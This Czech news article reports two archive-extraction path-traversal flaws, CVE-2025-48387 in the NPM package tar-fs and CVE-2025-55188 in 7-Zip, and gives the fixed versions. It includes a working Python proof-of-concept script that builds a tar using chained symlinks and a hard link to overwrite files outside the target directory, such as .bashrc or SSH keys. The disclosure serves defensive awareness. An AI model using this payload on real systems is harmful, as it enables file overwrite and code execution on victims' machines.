Zranitelnosti v tar-fs a 7-Zip, které umožňují zapisování souborů mimo základní adresář

V balíčku NPM tar-fs byla zjištěna zranitelnost (CVE-2025-48387), která umožňuje při rozbaľování speciálně vytvořeného tar archivu zapisovat soubory do libovolných částí souborového systému, bez omezení na adresář, do kterého se rozbalování provádí (pokud to umožňují oprávnění aktuálního uživatele). Zranitelnost lze také využít k přepsání existujících souborů, například pro umožnění provádění vlastního kódu v systému mohou být přepsány soubory „.ssh/id_rsa“ nebo „.bashrc“ v domovském adresáři uživatele.

Problém byl přidělen kritické úrovni nebezpečí s ohledem na to, že balíček tar-fs má 23 milionů stažení týdně a je používán jako závislost v 1155 projektech. Zranitelnost byla odstraněna ve verzích 3.0.9, 2.1.3 a 1.16.5, které byly vydány v květnu, ale informace o zranitelnosti byla zveřejněna až po téměř 3 měsících.

Zranitelnost je způsobena nedostatečnou kontrolou existujících symbolických a tvrdých odkazů v archivu, zda nevybočují za hranice cílového adresáře pro rozbalování. K obejití kontrol se používají dvě symbolické odkazy: první ukazuje na kořenový adresář rozbalování archivu („.“), druhá je vytvořena relativně k prvnímu symbolickému odkazu a používá ve svém názvu znaky „../“ pro překročení základního adresáře. Například, první odkaz „noop/noop/noop“ ukazuje na „.“, zatímco druhý odkaz „noop/noop/noop/../../../..“ se rozbalí jako „./../../../..“. Pro organizaci přepisování souborů v archivu může být vytvořen tvrdý odkaz, který odkazuje na externí soubor relativně k druhému symbolickému odkazu. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Podobná zranitelnost (CVE-2025-55188) byla identifikována v archivačním nástroji 7-Zip. Pro zápis souborů mimo základní adresář v 7-Zip mohou být také použity symbolické odkazy obsahující sekvenci „..\/“ v cestě k souboru. Problém může být zneužit při rozbalování jakýchkoli archivů podporujících symbolické odkazy pomocí 7-Zip, například zip, tar, 7z a rar. Problém byl vyřešen ve verzi 7-Zip 25.01.

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster